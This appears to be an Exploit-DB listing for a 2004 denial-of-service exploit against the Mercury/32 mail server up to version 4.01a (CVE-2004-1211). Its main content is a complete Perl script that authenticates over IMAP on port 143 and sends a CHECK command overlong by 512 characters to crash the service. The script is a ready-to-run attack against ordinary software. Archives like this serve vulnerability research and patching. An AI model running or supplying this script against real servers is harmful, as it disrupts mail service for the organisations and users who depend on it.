Mercury/32 Mail Server <= 4.01a check Buffer Overflow Exploit

2004-12-01T00:00:00
ID EDB-ID:1159
Type exploitdb
Reporter Reed Arvin
Modified 2004-12-01T00:00:00

Description

Mercury/32 Mail Server <= 4.01a (check) Buffer Overflow Exploit. CVE-2004-1211,CVE-2004-2513. Dos exploit for windows platform

                                        
                                            #===== Start Mercury32_Overflow.pl =====
#
# Usage: Mercury32_Overflow.pl &lt;ip&gt; &lt;imap4 user&gt; &lt;imap4 pass&gt;
#        Mercury32_Overflow.pl 127.0.0.1 hello moto
#
# Mercury/32, v4.01a, Dec 8 2003
#
# Download:
# http://www.pmail.com/
#
#############################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET-&gt;new(PeerAddr =&gt; $ARGV[0],
                                    PeerPort =&gt; "143",
                                    Proto    =&gt; "TCP"))
{
        print "Attempting to kill Mercury/32 service at $ARGV[0]:143...";

        sleep(1);

        print $socket "0000 LOGIN $ARGV[1] $ARGV[2]\r\n";

        sleep(1);

        print $socket "0001 CHECK " . "A" x 512 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:143\n";
}
#===== End Mercury32_Overflow.pl =====

# milw0rm.com [2004-12-01]